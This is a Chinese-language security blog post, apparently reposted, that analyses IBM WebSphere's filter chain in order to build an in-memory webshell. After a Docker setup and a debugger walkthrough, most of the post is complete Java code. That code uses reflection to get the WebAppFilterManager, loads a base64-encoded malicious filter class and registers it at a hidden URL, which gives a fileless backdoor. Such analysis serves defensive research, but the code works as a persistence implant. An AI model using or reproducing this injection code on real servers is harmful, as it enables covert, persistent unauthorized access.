websphere内存马分析 | 宜武汇-ag真人国际厅网站

目录

环境部署

docker部署环境

docker pull ibmcom/websphere-traditional docker run --name websphere -h websphere -e update_home=true -p 9043:9043 -p 9443:9443 -p 7777:7777 --restart=always -d ibmcom/websphere-traditional docker exec -it websphere cat /tmp/password 9043端口 9443端口 7777端口 /tmp/password:控制台登录密码账号:wsadmin 登录后台: https://ip:9043/ibm/console 

进入后台

设置websphere为debug模式

绑定端口

编写demofilter和demoservlet,配置项目的web.xml

xml version="1.0" encoding="utf-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/xmlschema-instance" xsi:schemalocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <filter> <filter-name>testfilterfilter-name> <filter-class>testfilterfilter-class> filter> <filter-mapping> <filter-name>testfilterfilter-name> <url-pattern>/testurl-pattern> filter-mapping> <servlet> <servlet-name>testservletservlet-name> <servlet-class>testservletservlet-class> servlet> <servlet-mapping> <servlet-name>testservletservlet-name> <url-pattern>/testurl-pattern> servlet-mapping> web-app> 

生成war包

将war包导入服务器中

分析filter

在servlet 中打下断点,观察调用栈,通过调用栈观察是哪里调用了testfilter.

com.ibm.ws.webcontainer.filter.filterinstancewrapper中调用了testfilter

this._filterinstance是构造方法filterinstancewrapper传入的参数获取的。那么观察哪里实例化了一个filterinstancewrapper对象。

继续观察调用栈,可以看到在com.ibm.ws.webcontainer.filter.webappfilterchain中通过(filterinstancewrapper)this._filters.get(this._currentfilterindex)实例化filterinstancewrapper,那么继续观察this._filters是如何生成的。

com.ibm.ws.webcontainer.filter.webappfilterchain中看到_filters为new arraylist()

并且在com.ibm.ws.webcontainer.filter.webappfilterchain中看到addfilter方法,该方法中调用了this._filters.add(fiw),其中fiw为filterinstancewrapper类型在这个地方打下断点,重新调试,观察哪里调用了该方法,了解是怎么生成webappfilterchain._filters

com.ibm.ws.webcontainer.filter.webappfiltermanager中的getfilterchain()方法,调用了webappfilterchainaddfilter

关注该方法中的以下代码。

newchain.addfilter(this.getfilterinstancewrapper((string)filternames.get(i))); 

其中this.getfilterinstancewrapper((string)filternames.get(i))

这里有两个需要关注的地方,this.getfilterinstancewrapper()(string)filternames.get(i)

首先是(string)filternames.get(i)。可以看到其实filternames实际上来自于this.getfilterchaincontents

跟进getfilterchaincontents观察,可以看到fcc来自于com.ibm.ws.webcontainer.filter.webappfiltermanager对象中的chaincache变量

接着是this.getfilterinstancewrapper(),这里就是com.ibm.ws.webcontainer.filter.webappfiltermanager::getfilterinstancewrapper()

通过filtername来获取当前webappfiltermanager对象中的filterinstancewrapper对象

构造内存马的思路:

1、获取到webappfiltermanager对象

2、实例化恶意filter相关的filterchaincontents,添加到webappfiltermanager.chaincache

3、实例化恶意filter相关的filterinstancewrapper,添加到webappfiltermanager._filterwrappers

编写内存马

1、获取到webappfiltermanager对象

在当前线程中寻找上下文。

从当前线程中获取currentthreadsiextendedrequest,通过调用getservletcontext(),获取上下文。在上下文中可以获取到当前线程的webappfiltermanager对象filtermanager

private static webappimpl context; private static synchronized void getwebcontent() throws exception{ try { object[] wsthreadlocals = (object[]) getfield(thread.currentthread(),"wsthreadlocals"); for (int i = 0; i < wsthreadlocals.length; i  ) { if(wsthreadlocals[i] != null &&wsthreadlocals[i].getclass().getname().contains("webcontainerrequeststate") ){ currentthreadsiextendedrequest = (srtservletrequest) getfield(wsthreadlocals[i],"currentthreadsiextendedrequest"); } } servletcontext servletcontext = currentthreadsiextendedrequest.getservletcontext(); system.out.println("step 1"); context = (webappimpl)getfield(servletcontext,"context"); }catch (exception e){ e.printstacktrace(); } } private static synchronized object getfield(object o, string k) throws exception{ field f; try { f = o.getclass().getdeclaredfield(k); } catch (nosuchfieldexception e) { try{ f = o.getclass().getsuperclass().getdeclaredfield(k); }catch (exception e1){ f = o.getclass().getsuperclass().getsuperclass().getdeclaredfield(k); } } f.setaccessible(true); return f.get(o); } 

接着从web上下文中获取到filtermanager

private static synchronized void injectfilter() throws exception { try { if(context!=null){ filtermanager = (webappfiltermanagerimpl) getfield(context,"filtermanager"); .... 

2、实例化恶意filter相关的filterchaincontents……

从filtermanager中获取到当前线程的chaincache,通过反射实例化一个filterchaincontents,对照testfilter的filterchaincontents,去构造恶意filter相关的filterchaincontents

private static synchronized void injectfilter() throws exception { try { if(context!=null){ filtermanager = (webappfiltermanagerimpl) getfield(context,"filtermanager"); chaincache = (map<string, object>) getfield(filtermanager,"chaincache"); constructor constructor = class.forname("com.ibm.ws.webcontainer.filter.filterchaincontents").getdeclaredconstructor(); constructor.setaccessible(true); object filterchaincontents = constructor.newinstance(); //step1 arraylist _filternames= (arraylist) getfield(filterchaincontents,"_filternames"); _filternames.add(filtername); setfield(filterchaincontents,"_hasfilters",true); chaincache.put(url,filterchaincontents); 

3、实例化恶意filter相关的filterinstancewrapper……

对照testfilter的filterinstancewrapper,构造恶意filter相关的filterinstancewrapper

从当前filtermanager对象中获取到_filterwrappers,直接通过new filterinstancewrapper()实例化一个新的filterinstancewrapper

这里有几个我认为需要注意的地方。

1、实例化filterinstancewrapper时,需要传入的参数为managedobject类型

而在早版本的websphere中是filter类型的参数

所以这里需要进行一个类型转换。

2、_filtersdefined设置为true的原因是因为这里对_filtersdefined进行判断。

3、_filterstate 设置为 2 的原因是因为这里对_filterstate==2进行校验了

4、完整代码

为了方便调试,直接在sevlet的get请求中编写内存马加载过程。

import com.ibm.ws.managedobject.managedobject; import com.ibm.ws.managedobject.managedobjectcontext; import com.ibm.ws.webcontainer.cdi.wcmanagedobject; import com.ibm.ws.webcontainer.filter.filterconfig; import com.ibm.ws.webcontainer.filter.filterinstancewrapper; import com.ibm.ws.webcontainer.filter.webappfiltermanagerimpl; import com.ibm.ws.webcontainer.srt.srtservletrequest; import com.ibm.ws.webcontainer.webapp.webappeventsource; import com.ibm.ws.webcontainer.webapp.webappimpl; import com.ibm.wsspi.webcontainer.webapp.webappconfig; import sun.misc.base64decoder; import javax.servlet.*; import javax.servlet.http.httpservlet; import javax.servlet.http.httpservletrequest; import javax.servlet.http.httpservletresponse; import java.io.ioexception; import java.lang.reflect.constructor; import java.lang.reflect.field; import java.lang.reflect.method; import java.util.*; public class testservlet extends httpservlet { @override public void init(servletconfig servletconfig) throws servletexception { } private static string filtername = "hfilter"; private static string filterclassname = "com.sso.hfilter"; private static string url = "/ccc"; private static srtservletrequest currentthreadsiextendedrequest = null; private static webappimpl context; private static webappfiltermanagerimpl filtermanager= null; private static map<string, object> chaincache = null; private static hashtable<string, filterinstancewrapper> _filterwrappers; @override protected void doget(httpservletrequest req, httpservletresponse resp) throws servletexception, ioexception { resp.getwriter().println("this is http"); try { loadfilter(); getwebcontent(); injectfilter(); } catch (exception e) { e.printstacktrace(); } } private static synchronized void loadfilter() throws exception { try{ thread.currentthread().getcontextclassloader().loadclass(filterclassname).newinstance(); }catch (exception e){ method a = classloader.class.getdeclaredmethod("defineclass", byte[].class, integer.type, integer.type); a.setaccessible(true); byte[] b = (new base64decoder()).decodebuffer("恶意filter.class | base64"); a.invoke(thread.currentthread().getcontextclassloader(), b, 0, b.length); } } private static synchronized void getwebcontent() throws exception{ try { object[] wsthreadlocals = (object[]) getfield(thread.currentthread(),"wsthreadlocals"); for (int i = 0; i < wsthreadlocals.length; i  ) { if(wsthreadlocals[i] != null &&wsthreadlocals[i].getclass().getname().contains("webcontainerrequeststate") ){ currentthreadsiextendedrequest = (srtservletrequest) getfield(wsthreadlocals[i],"currentthreadsiextendedrequest"); } } servletcontext servletcontext = currentthreadsiextendedrequest.getservletcontext(); system.out.println("step 1"); context = (webappimpl)getfield(servletcontext,"context"); }catch (exception e){ e.printstacktrace(); } } private static synchronized object getfield(object o, string k) throws exception{ field f; try { f = o.getclass().getdeclaredfield(k); } catch (nosuchfieldexception e) { try{ f = o.getclass().getsuperclass().getdeclaredfield(k); }catch (exception e1){ f = o.getclass().getsuperclass().getsuperclass().getdeclaredfield(k); } } f.setaccessible(true); return f.get(o); } public testservlet() { } private static synchronized void injectfilter() throws exception { try { if(context!=null){ filtermanager = (webappfiltermanagerimpl) getfield(context,"filtermanager"); chaincache = (map<string, object>) getfield(filtermanager,"chaincache"); constructor constructor = class.forname("com.ibm.ws.webcontainer.filter.filterchaincontents").getdeclaredconstructor(); constructor.setaccessible(true); object filterchaincontents = constructor.newinstance(); //step1 arraylist _filternames= (arraylist) getfield(filterchaincontents,"_filternames"); _filternames.add(filtername); setfield(filterchaincontents,"_hasfilters",true); chaincache.put(url,filterchaincontents); //step2 _filterwrappers = (hashtable<string, filterinstancewrapper>) getfield(filtermanager,"_filterwrappers"); javax.servlet.filter filter = (filter) thread.currentthread().getcontextclassloader().loadclass(filterclassname).newinstance(); webappeventsource _evtsource = (webappeventsource) getfield(filtermanager,"_evtsource"); managedobject filtermo = context.createmanagedobject(filter); filterinstancewrapper filterinstancewrapper = new filterinstancewrapper(filtername,filtermo,_evtsource); setfield(filterinstancewrapper,"_filterstate",2); object webappconfig = getfield(filtermanager,"webappconfig"); filterconfig filterconfig = new filterconfig(filtername,(webappconfig) webappconfig); hashset<dispatchertype> set = new hashset(); set.add(dispatchertype.request); filterconfig.addmappingforurlpatterns(enumset.of(dispatchertype.request),true,url); setfield(filterinstancewrapper,"_filterconfig",filterconfig); _filterwrappers.put(filtername,filterinstancewrapper); setfield(filtermanager,"_filtersdefined",true); system.out.println("123"); } }catch (exception e){ e.printstacktrace(); } } private static synchronized void setfield(object o, string k,object v) throws exception{ field f; try{ f = o.getclass().getdeclaredfield(k); }catch (nosuchfieldexception e){ f = o.getclass().getsuperclass().getdeclaredfield(k); }catch (exception e1){ f = o.getclass().getsuperclass().getsuperclass().getdeclaredfield(k); } f.setaccessible(true); f.set(o,v); } @override public void destroy() { } } 

后话

如分析有不对之处,望斧正~~

原文链接:https://xz.aliyun.com/t/12278

网络摘文,本文作者:15h,如若转载,请注明出处:https://www.15cov.cn/2023/08/27/websphere内存马分析/

发表评论

邮箱地址不会被公开。 必填项已用*标注

网站地图